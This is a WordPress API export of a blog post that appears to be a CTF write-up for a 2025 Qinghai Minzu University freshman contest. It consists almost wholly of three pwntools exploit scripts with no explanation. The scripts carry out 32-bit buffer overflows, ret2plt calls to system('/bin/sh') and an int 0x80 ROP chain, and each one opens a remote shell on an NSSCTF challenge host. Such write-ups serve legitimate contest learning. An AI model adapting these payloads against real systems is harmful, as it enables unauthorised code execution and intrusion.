{"id":249,"date":"2025-02-08T21:32:39","date_gmt":"2025-02-08T13:32:39","guid":{"rendered":"https:\/\/www.okabe.xin\/?p=249"},"modified":"2025-02-08T21:32:39","modified_gmt":"2025-02-08T13:32:39","slug":"2025%e9%9d%92%e6%b5%b7%e6%b0%91%e6%97%8f%e5%a4%a7%e5%ad%a6%e6%96%b0%e7%94%9f%e8%b5%9b","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=249","title":{"rendered":"2025\u9752\u6d77\u6c11\u65cf\u5927\u5b66\u65b0\u751f\u8d5b"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u7b7e\u5230\u98982<\/h2>\n\n\n\n<p>exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>u=remote(\"node1.anna.nssctf.cn\",28532)<br>call_system=0x08048641<br>bin_sh=0x0804863A<br>payload=b'a'*(0x64+4)+p32(call_system)+p32(0x0)+p32(bin_sh)<br>u.sendline(payload)<br>u.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">libc<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>p = remote(\"node1.anna.nssctf.cn\",28367)<br>system_plt_addr = 0x08048460<br>bin_sh_addr = 0x08048720<br>payload = flat(&#91;'a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])<br>p.sendline(payload)<br>p.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">system<\/h2>\n\n\n\n<p>exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># encoding: utf-8<br>from pwn import *<br>context(os='linux', arch='i386', log_level='debug')<br>\u200b<br>if __name__ == '__main__':<br> &nbsp; &nbsp;sh = remote(\"node1.anna.nssctf.cn\",28083)<br> &nbsp; &nbsp;pop_eax_ret = 0x080bb196<br> &nbsp; &nbsp;pop_edx_ecx_ebx_ret = 0x0806eb90<br> &nbsp; &nbsp;int_0x80 = 0x08049421<br> &nbsp; &nbsp;binsh = 0x80be408<br> &nbsp; &nbsp;payload = flat(<br> &nbsp;  &#91;'A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])<br> &nbsp; &nbsp;sh.sendline(payload)<br> &nbsp; &nbsp;sh.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u7b7e\u5230\u98982 exp: libc system exp:<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-249","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/249","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=249"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/249\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=249"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=249"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=249"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}